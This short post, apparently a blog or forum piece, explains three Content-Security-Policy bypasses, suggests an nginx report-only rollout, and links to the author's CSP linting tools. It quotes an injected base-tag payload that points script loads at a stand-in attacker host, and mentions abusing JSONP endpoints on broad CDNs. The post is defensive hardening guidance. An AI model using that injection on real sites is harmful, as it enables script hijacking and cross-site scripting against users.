Adding a Content-Security-Policy header checks a compliance box, but keeping 'unsafe-inline' or broad https: sources to stop widgets from breaking quietly neutralizes its primary XSS defense.
1. Three Real-World CSP Bypasses
-
script-src 'self' 'unsafe-inline': Permits injected inline<script>blocks andonerrorhandlers. Replace with per-request nonces ('nonce-...') +'strict-dynamic'. - Missing
base-uri&object-src 'none': Withoutbase-uri 'self', an injected<base href="https://attacker.example/">hijacks every relative script include on the page. - Broad CDNs /
https:inscript-src: Allowing entire public CDNs lets attackers load arbitrary JSONP endpoints or older libraries with gadgets.
2. Roll Out With Report-Only First
add_header Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self' 'nonce-$request_id' 'strict-dynamic'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';" always; Collect real browser violation reports for a few days before switching to enforcement so analytics, fonts, and payment embeds don't break on deploy.
3. Zero-Dependency CLI Auditor & Browser Generator
I built a small zero-dependency MIT CLI (csp-lint-cli, node --test passing) to catch these bypasses in CI, paired with 0-byte-upload browser tools:
- Open-Source CLI (
csp-lint-cli, MIT): https://github.com/JangYS0/csp-lint-cli - Browser CSP Generator (0B upload): https://global-utils.com/en/csp-generator
- Security Headers Config Pack: https://global-utils.com/en/assets/security-headers-config

